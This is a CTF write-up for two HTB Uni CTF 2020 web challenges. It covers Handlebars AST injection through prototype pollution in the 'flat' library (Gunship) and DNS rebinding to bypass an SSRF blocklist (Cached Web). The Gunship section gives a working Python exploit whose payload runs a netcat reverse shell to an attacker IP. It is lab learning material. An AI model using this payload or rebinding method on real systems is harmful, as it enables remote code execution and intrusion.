HTB x Uni CTF 2020 - Quals Write Up

Gunship

This challenge is an AST injection challenge.

const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
	// unflatten seems outdated and a bit vulnerable to prototype pollution
	// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

A clue was given in the challenge referencing po6ix, and it led me to his write up: https://blog.p6.is/AST-Injection/

To sum it up, one must trigger the unflatten function then trigger the handlebars.compile function to trigger the template injection.

This therefore allows remote code execution by injecting typical templating attack payloads. (Thanks alot po6ix for the example).

Hence, to trigger the vulnerability for this challenge, I first have to send a request containing the payload to trigger unflatten, then make another valid request to trigger the handlebars.compile.

import requests

TARGET_URL = 'http://docker.hackthebox.eu:30720'

# make pollution
a = requests.post(TARGET_URL + '/api/submit', json = {
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`nc MY_IP_ADDRESS 3333 -e /bin/sh`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
})
print(a.text)
# execute
a = requests.post(TARGET_URL + '/api/submit', json = {
    "artist.name":"Haigh"
})
print(a.text)

Cached Web

This challenge is a DNS rebinding SSRF challenge.
To summarize the behavior of the web app, the web app takes in a URL given by the user, and it checks if the supplied URL is a local address or it is a hostname that points to local address. If it is not an illegal hostname or IP address, it uses selenium to capture a screen shot of the webpage belonging to the supplied URL. Looking at the source code, we can see that there is no way of using url/scheme manipulation to achieve SSRF. A hint given by the challenge is rebinding. (DNS Rebinding is the first thing that came to my mind).

Source

import functools, signal, os, re, socket
from urllib.parse import urlparse
from application.models import cache
from flask import request, abort
from struct import unpack

generate = lambda x: os.urandom(x).hex()

def flash(message, level, **kwargs):
    return { 'message':message, 'level':level, **kwargs }

def serve_screenshot_from(url, domain, width=1000, min_height=400, wait_time=10):
    from selenium import webdriver
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.chrome.options import Options

    options = Options()

    options.add_argument('--headless')
    options.add_argument('--no-sandbox')
    options.add_argument('--ignore-certificate-errors')
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--disable-infobars')
    options.add_argument('--disable-background-networking')
    options.add_argument('--disable-default-apps')
    options.add_argument('--disable-extensions')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-sync')
    options.add_argument('--disable-translate')
    options.add_argument('--hide-scrollbars')
    options.add_argument('--metrics-recording-only')
    options.add_argument('--no-first-run')
    options.add_argument('--safebrowsing-disable-auto-update')
    options.add_argument('--media-cache-size=1')
    options.add_argument('--disk-cache-size=1')
    options.add_argument('--user-agent=SynackCTF/1.0')

    driver = webdriver.Chrome(
        executable_path='chromedriver', 
        chrome_options=options,
        service_log_path='/tmp/chromedriver.log', 
        service_args=['--cookies-file=/tmp/cookies.txt', '--ignore-ssl-errors=true', '--ssl-protocol=any' ]
    )

    driver.set_page_load_timeout(wait_time)
    driver.implicitly_wait(wait_time)

    driver.set_window_position(0, 0)
    driver.set_window_size(width, min_height)

    driver.get(url)

    WebDriverWait(driver, wait_time).until(lambda r: r.execute_script('return document.readyState') == 'complete')

    filename = f'{generate(14)}.png'

    driver.save_screenshot(f'application/static/screenshots/{filename}')

    driver.service.process.send_signal(signal.SIGTERM)
    driver.quit()

    cache.new(domain, filename)

    return flash(f'Successfully cached {domain}', 'success', domain=domain, filename=filename)

def cache_web(url):
    print(url)
    scheme = urlparse(url).scheme
    print(scheme)
    domain = urlparse(url).hostname
    print(domain)

    if scheme not in ['http', 'https']:
        return flash('Invalid scheme', 'danger')

    def ip2long(ip_addr):
        return unpack("!L", socket.inet_aton(ip_addr))[0]
    
    def is_inner_ipaddress(ip):
        print(ip)
        ip = ip2long(ip)
        print(ip)
        return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
                ip2long('10.0.0.0') >> 24 == ip >> 24 or \
                ip2long('172.16.0.0') >> 20 == ip >> 20 or \
                ip2long('192.168.0.0') >> 16 == ip >> 16 or \
                ip2long('0.0.0.0') >> 24 == ip >> 24
    
    try:
        if is_inner_ipaddress(socket.gethostbyname(domain)):
            return flash('IP not allowed', 'danger')
        return serve_screenshot_from(url, domain)
    except Exception as e:
        return flash('Invalid domain', 'danger')

def is_from_localhost(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip

Some research was needed to understand DNS rebinding as it was my first time. TL;DR, DNS rebinding requires an attacker controlled domain to change the A record at the shortest time possible between two requests made. First request to bypass the check, second request to achieve SSRF. Detailed information here: https://danielmiessler.com/blog/dns-rebinding-explained/

I needed a quick an easy way to configure ABC.controlled.domain. For the first request it makes to my controlled domain, it will provide a valid public IP address. For the subsequent request which has passed the blacklist check, my controlled domain will then provide 127.0.0.1 instead of a public address. Hence, rebinding the IP address to the domain name.

I found a great tool at: http://rbnd.gl0.eu/dashboard

This allows quick and easy setup with a unique URL provided.

Example (Creating record):

Example (Seeing the request made):